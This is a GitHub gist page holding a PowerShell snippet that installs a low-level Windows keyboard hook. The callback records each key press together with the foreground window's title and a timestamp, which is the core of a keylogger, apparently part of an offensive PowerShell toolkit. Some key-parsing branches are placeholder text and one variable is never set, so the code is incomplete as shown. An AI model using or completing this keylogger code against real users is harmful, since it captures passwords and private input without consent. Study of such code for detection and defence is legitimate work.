Skip to content

Instantly share code, notes, and snippets.

@secabstraction
Last active January 19, 2016 17:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save secabstraction/1fcdd7a18e324b310a04 to your computer and use it in GitHub Desktop.
Save secabstraction/1fcdd7a18e324b310a04 to your computer and use it in GitHub Desktop.
# Define callback
$CallbackScript = {
Param (
[Int32]$Code,
[IntPtr]$wParam,
[IntPtr]$lParam
)
$MsgType = $wParam.ToInt32()
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
# Get handle to foreground window
$hWindow = $GetForegroundWindow.Invoke()
# Read virtual-key from buffer
$vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
# Parse virtual-key
if ($vKey -gt 64 -and $vKey -lt 91) { Alphabet characters }
elseif ($vKey -ge 96 -and $vKey -le 111) { Number pad characters }
elseif (($vKey -ge 48 -and $vKey -le 57) -or `
($vKey -ge 186 -and $vKey -le 192) -or `
($vKey -ge 219 -and $vKey -le 222)) { Shiftable characters }
else { Special Keys }
# Get foreground window's title
$Title = New-Object Text.Stringbuilder 256
$GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
# Define object properties
$Props = @{
Key = $Key
Time = [DateTime]::Now
Window = $Title.ToString()
}
New-Object psobject -Property $Props
}
# Call next hook or keys won't get passed to intended destination
return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
}
# Cast scriptblock as LowLevelKeyboardProc callback
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
$Callback = $CallbackScript -as $Delegate
# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment